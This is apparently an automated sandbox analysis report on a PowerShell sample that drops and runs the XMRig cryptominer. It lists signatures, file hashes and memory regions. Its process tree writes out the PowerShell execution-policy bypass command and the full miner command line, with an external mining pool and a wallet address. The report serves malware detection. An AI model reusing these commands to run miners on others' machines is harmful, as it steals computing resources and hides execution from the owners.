Resubmissions

12/05/2024, 16:37

240512-t49f1see9110

12/05/2024, 16:37

240512-t44krsee9w10

12/05/2024, 16:37

240512-t4y1aaee9s10

12/05/2024, 16:36

240512-t4rk7see8v10

12/05/2024, 16:23

240512-tv45yaeb3x10

12/05/2024, 14:59

240512-scwv6see6710

12/05/2024, 14:59

240512-scrw8aee6310

12/05/2024, 14:58

240512-sclefaee5310

12/05/2024, 14:52

240512-r8v33sec7810

12/05/2024, 14:51

240512-r8e2vsec6410

Analysis

  • max time kernel
    1791s
  • max time network
    1782s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/05/2024, 14:59

General

  • Target
    file01.ps1
  • Size 510B
  • Sample240512-scrw8aee63
  • SHA256 d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4896
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1296

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_rfzbbriw.k15.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rfzbbriw.k15.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
        • Size 9.1MB
        • SHA256 2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda
        • MD5 SHA1 SHA512 SSDEEP

        memory/1296-78-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-51-0x000001F39F5D0000-0x000001F39F5F0000-memory.dmp

        memory/1296-49-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-117-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-116-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-115-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-80-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-50-0x000001F39F5B0000-0x000001F39F5D0000-memory.dmp

        memory/1296-52-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-114-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-113-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-112-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-111-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-110-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-47-0x000001F39DBB0000-0x000001F39DBD0000-memory.dmp

        memory/1296-55-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-56-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-58-0x000001F39F5D0000-0x000001F39F5F0000-memory.dmp

        memory/1296-57-0x000001F39F5B0000-0x000001F39F5D0000-memory.dmp

        memory/1296-59-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-60-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-61-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-62-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-63-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-64-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-65-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-66-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-67-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-68-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-69-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-70-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-71-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-72-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-73-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-74-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-75-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-76-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-77-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-109-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-84-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-48-0x000001F39F590000-0x000001F39F5B0000-memory.dmp

        memory/1296-81-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-82-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-83-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-79-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-85-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-86-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-87-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-88-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-89-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-90-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-91-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-92-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-93-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-94-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-95-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-96-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-97-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-98-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-99-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-100-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-101-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-102-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-103-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-104-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-105-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-106-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-107-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/1296-108-0x00007FF633B60000-0x00007FF634793000-memory.dmp

        memory/4896-54-0x00007FFEF8BF0000-0x00007FFEF96B1000-memory.dmp

        memory/4896-53-0x00007FFEF8BF3000-0x00007FFEF8BF5000-memory.dmp

        memory/4896-16-0x00000183EDD40000-0x00000183EDD4A000-memory.dmp

        memory/4896-15-0x00000183EDD60000-0x00000183EDD72000-memory.dmp

        memory/4896-14-0x00007FFEF8BF0000-0x00007FFEF96B1000-memory.dmp

        memory/4896-12-0x00007FFEF8BF0000-0x00007FFEF96B1000-memory.dmp

        memory/4896-11-0x00007FFEF8BF0000-0x00007FFEF96B1000-memory.dmp

        memory/4896-1-0x00000183ECEA0000-0x00000183ECEC2000-memory.dmp

        memory/4896-0-0x00007FFEF8BF3000-0x00007FFEF8BF5000-memory.dmp